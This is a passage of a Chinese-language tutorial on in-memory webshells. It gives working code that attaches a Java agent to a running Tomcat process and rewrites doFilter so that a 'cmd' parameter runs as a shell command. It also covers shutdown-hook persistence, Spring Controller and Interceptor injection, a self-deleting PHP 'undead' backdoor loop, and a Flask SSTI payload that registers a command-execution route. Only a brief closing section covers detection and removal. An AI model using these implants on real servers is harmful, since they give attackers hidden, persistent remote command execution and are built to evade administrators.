                for (VirtualMachineDescriptor vmd : listAfter) {
                    vm = VirtualMachine.attach(vmd);
                    listBefore.add(vmd);
                    System.out.println("i find a vm,agent.jar was injected.");
                    Thread.sleep(1000);
                    if (null != vm) {
                        vm.loadAgent("/xx/JavaAgent.jar");
                        vm.detach();
                    }
                }
                break;

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

几种Attach方法比较:

attach方式 是否会暂停JVM 所在jar 备注
HotSpotAgent.attach sa-jdi.jar 在目标进程外部运行
VirtualMachine.attach 不会 tools.jar attach创建Attach Listener执行命令
VirtualMachinne.loadAgent 不会 tools.jar loadAgent动态加载jar提供信息
Perf.getPerf.attach(perfDataattach) 不会 rt.jar lattach时把当前目标JVM进程的状态信息拷贝到mmap文件

4)测试效果

先运行JavaAgentMem.jar,然后运行AgentStarter.jar,可以看到Ask中的内容被改变。需要说明的是AgentStarter.jar直接运行可能会报错。

Caused by: java.lang.ClassNotFoundException: com.sun.tools.attach.VirtualMachine

这是因为Agent需要tools.jar支持,所以需要在应用启动参数上增加tools,如下:

java -jar AgentStarter.jar -Xbootclasspath/a:$JAVA_HOME/lib/tools.jar

内存Webshell马详解_第19张图片

3. Agent内存马

通过上面的demo可以看到,写一个Agent和一个Attach Agent(Agent注入)的代码就可以改变应用程序的原有内容。那么我们就可以不再写一个新的Servlet或者Filter,而是在程序原有的代码中加入恶意的一部分代理。

Agent参考上述JavaAgent的写法,需要一个AgentEntry类编写agentmain,另一个类Transformer写transformer方法。

AgentEntry中判断如果当前的类是否为我们要更改的类。那么从内存马的角度来讲,我们要修改的类到底是什么?网上流传的是internalDoFilter,但是它是tomcat中的类,只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中,由于是JavaEE规范,相对来讲,能适用于更多的中间件。所以AgentEntry写法和上述demo中的没有区别,只是将判断中的Ask类换成org.apache.catalina.core.ApplicationFilterChain。

public class MyAgent {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public MyAgent() {
    }

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for(int i = 0; i < loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var6) {
                    var6.printStackTrace();
                }
            }
        }

    }

    public static void premain(String args, Instrumentation inst) throws Exception {
    }
}

Transformer中的功能就是对方法中的代码进行修改并返回新的代码。方法修改一般借助字节码工具asm或者javaassist,前者性能好,但易用性差,一般选用javassist。Javassist在反序列化调用链中多次被用到,能在JVM运行时修改字节码。

反序列化中的用法如下:

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//1 创建ClassPool-存储对象
ClassPool classPool=ClassPool.getDefault();
//2 添加类的搜索路径
classPool.appendClassPath(AbstractTranslet);
//3 makeClass创建一个空类,类名为CB
CtClass payload=classPool.makeClass("CB");
//4 设置CB的父类
payload.setSuperclass(classPool.get(AbstractTranslet));
//5 在类中设置static代码块,包含恶意代码
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");

对于Transform实现更改类中代码来说,主要先通过javassist创建ClassPool,然后从中获取需要的类,反射获取类中的方法进行修改。ClassPool存储对象,但是对于Web服务器来说,类的加载器可能不同,就需要通过new ClassClassPath()的方式来创建ClassPool,指定类搜索路径。找到指定的ApplicationFilterChain类后向其doFilter中添加代码。

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public MyTransformer() {
    }

    public byte[] transform(ClassLoader loader, String className, Class aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');
        // 创建ClassPool
        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }

            try {
                // ClassPool中获取class对象
                CtClass cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;\n            javax.servlet.ServletResponse res = response;String cmd = req.getParameter(\"cmd\");\nif (cmd != null) {\nProcess process = Runtime.getRuntime().exec(cmd);\njava.io.BufferedReader bufferedReader = new java.io.BufferedReader(\nnew java.io.InputStreamReader(process.getInputStream()));\nStringBuilder stringBuilder = new StringBuilder();\nString line;\nwhile ((line = bufferedReader.readLine()) != null) {\nstringBuilder.append(line + '\\n');\n}\nres.getOutputStream().write(stringBuilder.toString().getBytes());\nres.getOutputStream().flush();\nres.getOutputStream().close();\n}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (IOException | CannotCompileException | NotFoundException var10) {
                var10.printStackTrace();
            }
        }

        return new byte[0];
    }

然后将此Agent工程打jar包:

内存Webshell马详解_第20张图片

注入Agent: 

public class Main {
    public Main() {
    }

    public static void main(String[] args) throws Exception {
        String agentPath="/xxx/TomcatAgent.jar"; //生成的Agent所放的路径
        try {
            File toolsJar = new File(System.getProperty("java.home").replaceFirst("jre", "lib") + File.separator + "tools.jar");
            URLClassLoader classLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
            Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
            add.setAccessible(true);
            add.invoke(classLoader, toolsJar.toURI().toURL());
            Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            Method list = MyVirtualMachine.getDeclaredMethod("list");
            List invoke = (List)list.invoke((Object)null);

            for(int i = 0; i < invoke.size(); ++i) {
                Object o = invoke.get(i);
                Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName");
                Object name = displayName.invoke(o);
                System.out.println(String.format("JVM process name:[[[%s]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    Method attach = MyVirtualMachine.getDeclaredMethod("attach", MyVirtualMachineDescriptor);
                    Object machine = attach.invoke(MyVirtualMachine, o);
                    Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", String.class);
                    loadAgent.invoke(machine, agentPath);
                    Method detach = MyVirtualMachine.getDeclaredMethod("detach");
                    detach.invoke(machine);
                    System.out.println("Inject url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception var17) {
            var17.printStackTrace();
        }

    }
}

把这个打包成jar ,如果不想把路径写死,就将agentPath当作参数传入,在进行效果测试的时候有个坑,启动tomcat发现找不到tomcat相关的JVM,正确的tomcat启动方式。

sh catalina.sh run

tomcat启动后,执行Java -jar Inject.jar,终端上显示出Inject url...后即可访问url地址,查看效果。

4. JVM中查找Class

1)arthas
arthas是阿里开发的开源工具,链接:https://github.com/alibaba/arthas
使用的话直接下载arthas-boot.jar即可:https://arthas.aliyun.com/arthas-boot.jar

可以在JDK6以上运行,主要功能包括:检查一个类是否被加载,或者类被加载到哪里(对于解决 jar 文件冲突很有用)、反编译一个类以确保代码按预期运行等。这两个功能对于内存马的查找很有意义。比如上述Agent内存马的注入选取了org.apache.catalina.core.ApplicationFilterChain类,那么可以通过arthas直接查看这个类的反编译结果是否包含恶意代码

arthas使用:

java -jar arthas-boot.jar

启动工具后,根据显示出的线程,选取对应要查看的。

内存Webshell马详解_第21张图片

[arthas@4035]$ sc org.apache.catalina.core.ApplicationFilterChain
[arthas@4035]$ jad org.apache.catalina.core.ApplicationFilterChain

 输入sc ${需要检索的类名}查看相关的类名,输入jad ${包名},反编译class源码,可以看到此时的doFilter包含了恶意代码。

如果想要下载Class文件,然后jd-gui打开即可。 

[arthas@4035]$ dump org.apache.catalina.core.ApplicationFilterChain

2)HSDB(sa-jdi.jar)

HSDB(Hotspot Debugger),是一款内置于sa-jdi.jar中的 GUI 调试工具,可用于调试 JVM 运行时数据,从而进行故障排除。以下三种开启方式都可以。

sudo /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB

选择file->Attach to Hotspot process ,然后输入process ID去Attach进程。但是Mac环境下可能出现Attach不成功的情况。

内存Webshell马详解_第22张图片

Attach成功后,Tools->Class Browser,可以查看该线程下面所有的class。
除了图形界面的方式,也可以采取命令行的形式。sa-jdi.jar中有一个ClassDump,通过jps命令查找进程对应的PID,然后执行如下命令:

java -classpath $JAVA_HOME%/lib/sa-jdi.jar -Dsun.jvm.hotspot.tools.jcore.filter=xxx -Dsun.jvm.hotspot.tools.jcore.outputDir=xxx sun.jvm.hotspot.tools.jcore.ClassDump 

这也是手动写一些Dump Class工具的核心——调用ClassDump

Agent内存马是把恶意代码插入到核心类的方法中,所谓的“杀”Agent内存马,就是找到这些和心类,将恶意逻辑进行更改。简单的思路就是,同样写一个Agent和一个注入Agent的。只不过这个Agent是修改恶意逻辑的。

5. ShutdownHook

ShutdownHook也叫钩子函数,它允许开发人员插入JVM关闭时执行的一段代码。

示例如下:

public class Hook {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().addShutdownHook(new Thread() {
            @Override
            public void run() {
                System.out.println("hook");
            }
        });
        System.out.println("public main over");
    }
}

main方法执行结束后会执行hook,所以rebeyond利用这种方式在服务器运行结束后,将inject.jar和agent.jar写到磁盘上,然后调用startInject方法执行java -jar inject.jar,来解决一般内存马在服务器重启后不存在的情况,但是实战中一般要求木马可清楚,这种方式慎用。

 public static void persist() {
     try {
         Thread t = new Thread() {
             public void run() {
                 try {
                     writeFiles("inject.jar",Agent.injectFileBytes);
                     writeFiles("agent.jar",Agent.agentFileBytes);
                     startInject();
                 } catch (Exception e) {

                 }
             }
         };
         t.setName("shutdown Thread");
         Runtime.getRuntime().addShutdownHook(t);
     } catch (Throwable t) {
     }

3、Spring内存马

Spring是IOC和AOP的容器框架,SpringMVC则是基于Spring功能的Web框架。Tomcat内存马的注入有Servlet和Filter等,与之对应的Spring内存马是Controller和Interceptor。

先介绍一点Spring相关的基础概念,然后就是内存马的一般流程:如何获取Context、如何注入组件。

1. Spring相关

1)相关概念

Spring作为Java框架,核心组件有三个:Core、Context、Bean。Java的事物都叫对象,Bean包装的就是对象,Context是对象的生存环境(也就是Bean关系的集合,这个集合又叫IOC容器),Core则是处理对象间关系的工具。

Bean的创建是典型的工厂模式。所谓工厂模式,可以理解为要生产手机产品,包括生产Huawei、iphone等,现在找到一家工厂,具备生产这两种产品的生产线,根据传入的参数不同,生成不同的产品。也就是说,Bean的创建是由BeanFactory接口来控制的。选用Spring很重要的一个原因是它可以让对象之间的依赖关系用配置文件来管理。配置文件中的节点包含Bean的完整定义,对应的是BeanDefinition对象。

Context运行环境保存了各个对象的状态,它的顶级父类是ApplicationContext(继承了BeanFactory,这也说明了Spring容器运行的主体对象是Bean)。ApplicationContext的子类主要包含两个方面:ConfigurableApplicationContext和WebApplicationContext,前者对应Context配置信息的添加修改,后者则是Web环境可以直接访问访问ServletContext。ApplicationContext作为对应的运行环境需要完成的任务包括:创建一个应用环境、利用BeanFactory创建Bean对象、保存对象关系表、捕获一些事件等。

2)开启一个最简单的SpringMVC项目

IDEA新建一个项目,可以参照这个链接https://blog.csdn.net/rrrgy236116/article/details/115550077进行修改。

SpringMVC的运行流程大致为:

用户请求-->DispatcherServlet-->HandlerMapping处理器映射器-->xml/注解处理器-->拦截器-->
DispatcherServlet->HandlerAdapter处理器适配器->
Controller->ModelAndView-->ViewReslover视图解析器-->View

web.xml文件如下:



    Spring Web MVC Application

    
        HelloWeb
        org.springframework.web.servlet.DispatcherServlet
        1
    

    
        HelloWeb
        /
    

    
        contextConfigLocation
        /WEB-INF/HelloWeb-servlet.xml
    

    
        org.springframework.web.context.ContextLoaderListener
    

ContextLoaderListener 用来初始化全局唯一的父类Context(一个公用的IOC容器)。DispatcherServlet 的主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller 和 View。DispatcherServlet 初始化完成后,会创建一个子类Context实例(一个独立的 IoC 容器)。

然后根据设置的HelloWeb中的servlet名称,在/WEB-INF/下放置HelloWeb-servlet.xml,配置获取context的包名等。



    
    

    
        
            /WEB-INF/pages/
        
        
            .jsp
        
    

需要注意,这个对于后续Controller注册很关键,如果没有添加该标签,在执行context.getBean()时会报错,异常如下:

org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type [org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping] is defined

xsi:schemaLocation的后两行则是在引入该标签后需要加入的。是spring3.0之后引入的,官方介绍链接:https://spring.io/blog/2009/12/21/mvc-simplifications-in-spring-3-0

这个标签注册了 HandlerMapping 和 HandlerAdapter 来分发请求到@Controllers。

2. 如何获取Context

看过之前的内存马系列文章就会发现,无论是什么类型的内存马,其核心都在于获取容器的Context对象。Tomcat中是StandardContext,Spring中则是WebApplicationContext。

内存Webshell马详解_第23张图片

LandGrey给出了五种获取Spring的Context的方法(实际获取的都是XmlWebApplicationContext),前两个相对通用性较差。

第五个在3.2.x 版本以上才可使用:

// 1 ContextLoader类专门负责root application context初始化
// ContextLoader的一个主要方法就是 initWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

// 2 spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

// 3 类似2
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

// 4
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 5
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

第二种,可以分为三部分,首先说一些知识点。

1)WebApplicationContext对象存储servletContext

WebApplicationContext对象在Web应用中会以WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE为键存放在ServletContext的属性列表中,所以可以直接用servletContext获取属性的方式来获取。

WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);

2)WebApplicationContext对象获取WebApplicationContextUtils

工具类WebApplicationContextUtils提供了两种通过传入ServletContext获取WebApplicationContext的方法。

ApplicationContext ac1 =WebApplicationContextUtils.getRequiredWebApplicationContext(ServletContext sc);
ApplicationContext ac2 =WebApplicationContextUtils.getWebApplicationContext(ServletContext sc);

3)ServletContext获取

那么还需要考虑ServletContext如何获取,一般有两种方式,通过request或者使用ContextLoader。

// 1
ServletContext servletContext = request.getServletContext();
// 2
ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();

4)request对象获取RequestContextHolder

假设是通过request的方式来获取。就要获取到HttpServletRequest对象,Spring提供了RequestContextHolder类以在任何地方使用HttpServletRequest对象。

HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder
        .getRequestAttributes()).getRequest();

总结来说,第二种方式就是获取request->获取ServletContext-> WebApplicationContextUtils获取WebApplicationContext。第三种和第二种类似是获取request->RequestContextUtils获取WebApplicationContext。第四种则是在RequestContextHolder中不获取request对象了,而是直接从属性中获取org.springframework.web.servlet.DispatcherServlet.CONTEXT。

3. Spring的组件注册

1)Controller

Tomcat内存马是模拟Tomcat对Servlet、Filter或Listener组件的加载过程。其中Servlet包含了访问地址和对应的处理类,在Spring中Controller的作用与之类似。RequestMapping代表了对应的Url访问路径。

@Controller
@RequestMapping("/hello")
public class HelloController {
    @RequestMapping(method = RequestMethod.GET)
    public String printHello(ModelMap model) {
        model.addAttribute("name", "XXX");
        return "hello";
    }
}

可以看到@RequestMapping注解中的信息包括:路径"/hello"、method等,都放在RequestMappingInfo中。

内存Webshell马详解_第24张图片

@RequestMapping注册的是RequestMappingHandlerMapping对象。当接受到request请求时,会在RequestMappingHandlerMapping中查找对应的handler来处理请求。所有的handler都存在了其父类AbstractHandlerMethodMapping的mappingRegistry变量中。

所以如果模拟上述demo中Controller的注册过程,首先创建一个XXController.class,对应了一个url和HTTP方式GET/POST。放入到RequestMappingInfo中。然后获取RequestMappingHandlerMapping对象,调用父类的registerMapping方法,将RequestMappingInfo、XXController.class、类中的执行方法都注册到内存中。

    public void registerMapping(T mapping, Object handler, Method method) {
        this.mappingRegistry.register(mapping, handler, method);
    }

Controller注册的示例代码如下:

// 1
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
    Method method2 = SpringMemTestController.class.getMethod("printHello");
    PatternsRequestCondition url = new PatternsRequestCondition("/hello");
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    SpringMemTestController injectToController = new SpringMemTestController();
    mappingHandlerMapping.registerMapping(info, injectToController, method2);

LandGrey还给出了另一种Controller注册的方法。这里的一个知识点是Spring 2.5 开始到 Spring 3.1 之前一般使用DefaultAnnotationHandlerMapping映射器 而Spring 3.1 开始及以后一般开始使用新的RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解。所以除了上述的RequestMappingHandlerMapping还可以通过DefaultAnnotationHandlerMapping来注册Controller。

根据图中可以看到该类的顶层父类是AbstractUrlHandlerMapping:

内存Webshell马详解_第25张图片

// 2
    context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
    org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh =   context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
    java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
    m1.setAccessible(true);
    m1.invoke(dh, "/favicon", "dynamicController");

// 3
    context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
    org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
    java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
    m1.setAccessible(true);
    m1.invoke(requestMappingHandlerMapping, "dynamicController");

2)Interceptor

Spring MVC 中的拦截器(Interceptor)类似于 Servlet 开发中的过滤器 Filter。在实际场景中,有负载均衡、网关等,如果请求的URL路由并不是网关中已有的那么可能就无法到达系统,导致Servlet内存马不生效。那么相对来说,Filter、Listener型内存马更通用。Spring的Controller型内存马类似于Tomcat的Servlet型,而Interceptor则类似Filter。能不能制作Interceptor型内存马?

写一个带有Interceptor,demo如下:

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        try {
            ... // 恶意代码
        }catch (Exception e){}
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion");
    }
}

修改配置文件xx-servlet.xml,加入拦截器配置:

    
        
            
            
        
    

Interceptor配置文件中的mapping path是对所有URL进行拦截。这样随便访问一个Controller,就会触发。在这个TestInterceptor中打一个断点,从Tomcat到该拦截器的调用链如下,从FrameworkServlet开始进入到SpringMVC。

ApplicationFilterChain.internalDoFilter
    HttpServlet.service
        FrameworkServlet.service
            DispatcherServlet.doDispatch
                HandlerExecutionChain.applyPreHandle
                    TestInterceptor.preHandle

问题:Interceptor是怎么被加入的?

跟进看一下DispatcherServlet.doDispatch:

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
        HttpServletRequest processedRequest = request;
        HandlerExecutionChain mappedHandler = null;
        ...
        try {
            try {
                ...
                // 1
                // 遍历handlerMappings,从中根据request获取HandlerExecutionChain
                mappedHandler = getHandler(processedRequest);
                ...
                // 遍历handlerAdapters,根据request获取对应的HandlerAdapter
                HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
                ...
                // 2 
                // HandlerExecutionChain.applyPreHandle
                if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                    return;
                }

                // Actually invoke the handler. AbstractHandlerMethodAdapter.handle
                mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                ...
                mappedHandler.applyPostHandle(processedRequest, response, mv);
            }
            ...
            processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
        }
        ...
    }

(1)getHandler

getHandler的调用链会执行到AbstractHandlerMapping.getHandlerExecutionChain这步,根据request获取请求的路径,遍历this.adaptedInterceptors,如果路径和拦截器能够匹配上,就将拦截器加入到HandlerExecutionChain中。

DispatcherServlet.getHandler
    AbstractHandlerMapping.getHandler
        AbstractHandlerMapping.getHandlerExecutionChain

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
        HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
                (HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

        String lookupPath = this.urlPathHelper.getLookupPathForRequest(request);
        for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
            if (interceptor instanceof MappedInterceptor) {
                MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
                if (mappedInterceptor.matches(lookupPath, this.pathMatcher)) {
                    chain.addInterceptor(mappedInterceptor.getInterceptor());
                }
            }
            else {
                chain.addInterceptor(interceptor);
            }
        }
        return chain;
    }

那么反向来讲,如果要将制作的恶意Interceptor加入到Spring中,需要先获取AbstractHandlerMapping中的属性值adaptedInterceptors。AbstractHandlerMapping的实现类就是上文提到的RequestMappingHandlerMapping。adaptedInterceptors获取写法如下:

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);

adaptedInterceptors.add(XXInterceptor);

问题:Interceptor怎么触发的?

(2)applyPreHandle

循环获取interceptors,执行其preHandlle方法方法。

// HandlerExecutionChain
    boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
         // 获取所有的interceptors
        HandlerInterceptor[] interceptors = getInterceptors();
        if (!ObjectUtils.isEmpty(interceptors)) {
            for (int i = 0; i < interceptors.length; i++) {
                HandlerInterceptor interceptor = interceptors[i];
                //   执行interceptor的preHandlle方法
                if (!interceptor.preHandle(request, response, this.handler)) {
                    triggerAfterCompletion(request, response, null);
                    return false;
                }
                this.interceptorIndex = i;
            }
        }
        return true;
    }

所以反过来,要将恶意代码写入到Interceptor的preHandle方法中。

简单贴个注入Interceptor的demo,和之前用jsp加载一样,没有考虑没序列化等场景。根据需要进行更改:

import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;

@Controller
@RequestMapping("/hellooo")
public class Hello2Controller {
    @RequestMapping(method = RequestMethod.GET)
    public String printWelcome(ModelMap model) throws IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException, NoSuchFieldException, IOException {
        String b64=fileToBase64("/classes/EvilInterceptor.class");
        String className = "EvilInterceptor";
        byte[] bytes =Base64.getDecoder().decode(b64);
        java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        AddInterceptor(className);
        model.addAttribute("message", "Add Interceptor to Spring");
        return "hello";

    }

    public static String fileToBase64(String filePath) throws IOException, IllegalAccessException, InstantiationException {
        File file = new File(filePath);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int) file.length()];
        inputFile.read(buffer);
        inputFile.close();
        byte[] bs = Base64.getEncoder().encode(buffer);
        System.out.println(new String(bs));
        return new String(bs);
    }

    public static void AddInterceptor(String className){
        java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        try{
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
        }catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

四、PHP内存马

PHP内存马也就是PHP不死马是将不死马启动后删除本身,在内存中执行死循环,使管理员无法删除木马文件。本次演示是将PHP不死马放到web目录下访问后及执行会在本地循环生成PHP一句话木马。

’;
file_put_contents("22.php", $content);
usleep(10000);
}
?>

函数说明:

  1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开。

  2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。

  3. unlink(__FILE__)函数:删除文件。

  4. file_put_contents函数:将一个字符串写入文件。

  5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。

php不死马:

内存Webshell马详解_第26张图片

将php不死马放到web目录下:

访问代码执行成功并生成后门:

内存Webshell马详解_第27张图片

执行完生成PHP一句话木马:

内存Webshell马详解_第28张图片 

菜刀连接成功及时删掉22.php也会再次生成。

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了。使用条件竞争写入同名文件进行克制不死马。

内存Webshell马详解_第29张图片

将usleep改为小于php不死马的参数: 

内存Webshell马详解_第30张图片

查看22.php已修改成叹号。 

五、Python内存马

Python内存马利用flask框架中ssti注入来实现,flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入。

简单编写一个flask sstl实例,内容是访问/index加上content参数就会被渲染,渲染的content内容是用户可控,利用这点生成内存马。

内存Webshell马详解_第31张图片

payload: 

http://127.0.0.1:5000/index?=content{{a.__init__.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

函数和属性解析:

  • __class__:返回调用的参数类型

  • __bases__:返回基类列表

  • __builtins__:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等

  • __globals__:以字典的形式返回函数所在的全局命名空间所定义的全局变量,这里的函数可以是类class的构造函数如__init__,也可以是flask的函数如url_for等。

  • add_url_rule注册了一个/shell的路由,__init__相当于构造函数,定义自己的属性,通过__init__.__globals__得到他们的命名空间从而得到builtins就可以执行内置函数如eval, exec, open等。

URL生成Flask内存马: 

访问shell执行命令。 

六、内存马检测与排查

1、Java内存马检测

内存马检测思路:

在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。

这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测: 

  1. 新增的或修改的;
  2. 没有对应class文件的
  3. xml配置中没注册的
  4. 冰蝎等常见工具使用的
  5. filterchain中排第一的filter类

